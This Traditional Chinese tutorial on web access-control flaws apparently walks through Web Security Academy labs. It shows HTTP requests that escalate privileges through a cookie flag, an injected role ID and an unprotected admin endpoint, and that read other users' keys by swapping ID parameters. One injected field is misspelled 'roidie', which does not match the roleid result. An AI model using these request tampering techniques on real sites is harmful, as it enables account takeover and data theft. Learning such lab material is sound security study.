存取控制是限制誰或什麼被授權進行操作或存取資源的應用。設計不良的WEB存取控制很常見,而且可能導致嚴重的安全漏洞。設計和管理存取控制是一個複雜且不斷變化的問題,因此出錯的可能性很高。存取控制關注的點主要有以下三個面向:
垂直存取控制
垂直存取控制是限制特定類型使用者對敏感功能的存取的機制。例如,管理員可能能夠修改或刪除任何使用者的帳戶,而一般使用者無權存取這些操作。
水平存取控制
水平存取控制是限制特定使用者對資源的存取的機制。例如,銀行應用程式將允許用戶查看交易並從自己的帳戶(但不允許任何其他用戶的帳戶)進行付款。
上下文相關的存取控制
上下文相關的存取控制根據應用程式的狀態或使用者與其互動來限制對功能和資源的存取。例如,零售網站可能會阻止用戶在付款後修改購物車的內容。
垂直提權
常見的方法有以下
- 改參數增加未授權功能
- 覆寫參數增加未授權功能
- 未驗證請求者是否有權限
改參數增加未授權功能
系統用參數來判斷權限,但任何人都能修改參數,而得到admin權限
例如,正常請求訪問管理介面時無法進入
GET /admin
...omit...
Cookie: session=Sxafefaasefaef; Admin=false
...omit...
但只要將cookie中的admin設為true,就可以進入管理介面,如下
GET /admin
...omit..
Cookie: session=Sxafefaasefaef; Admin=true
...omit...
Lab: User role controlled by request parameter
覆寫參數增加未授權功能
系統用id來判斷權限,但任何人都能修改id,而得到admin權限
例如,目標網站的roleid:2代表管理者權限,在嘗試更改email時發現返回內容包含roleid,
############### request ##################
POST /my-account/change-email
...omit...
{"email":"test@email.com"}
############### response ##################
...omit...
{
"username":"wiener",
"email": "test@email.com",
"apikey": "aw3etg5wea2gaef6goijef",
"roleid": 1,
}
疑似可以在請求時增加”roidie”: 2,以覆蓋使用者角色,如下
############### request ##################
POST /my-account/change-email
...omit...
{"email":"test@email.com","roidie": 2}
############### response ##################
...omit...
{
"username":"wiener",
"email": "test@email.com",
"apikey": "aw3etg5wea2gaef6goijef",
"roleid": 2,
}
成功將wiener的roleid變成2,此為目標網站的最高管理員角色ID
Lab: User role can be modified in user profile
未驗證請求者是否有權限
後台提權介面未做限制,任何人都能使用,任何人都可以使用提權功能將小帳號升成admin
例如,分析目標網站時,發現提昇使用者變管理員的請求如下
############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
...omit...
action=upgrade&confirmed=true&username=carlos
但因為該目標有漏洞,因此任何登入的使用者都可以呼叫這個請求,例如wiener登入後可以自己提昇自己的權限,如下
############### request ##################
POST /admin-roles HTTP/2
Host: 0abf002c0389fb3b81bb0dc7009900af.web-security-academy.net
...omit...
action=upgrade&confirmed=true&username=wiener
############### response ##################
HTTP/1.1 302 Found
Lab: Multi-step process with no access control on one step
水平提權
常見的方法有以下
- 換name就可以變成別人
- 換id就可以變成別人
換name就可以變成別人
wiener登入後台,透過以下請求,可看到wiener專屬的key
GET /my-account?id=wiener
正常請況下wiener只能看自己的key,但因為目標有漏洞,如果請求時把id換成carlos如下,就能偷看到carlos的key
GET /my-account?id=carlos
Lab: User ID controlled by request parameter
Lab: User ID controlled by request parameter with data leakage in redirect
Lab: User ID controlled by request parameter with password disclosure
換id就可以變成別人
wiener登入後台,透過以下請求,可看到wiener專屬的key
GET /my-account?id=5739a-fe78a-ase19
在網站其他地方瀏覽carlos貼的文章時發現以下請求,推斷carlos的id為9411b-87dl1-892ar
GET /blogs?userid=9411b-87dl1-892ar
正常請況下wiener只能看自己的key,但因為目標有漏洞,如果請求時把id換成9411b-87dl1-892ar如下,就能偷看到carlos的key
GET /my-account?id=9411b-87dl1-892ar
Lab: User ID controlled by request parameter, with unpredictable user IDs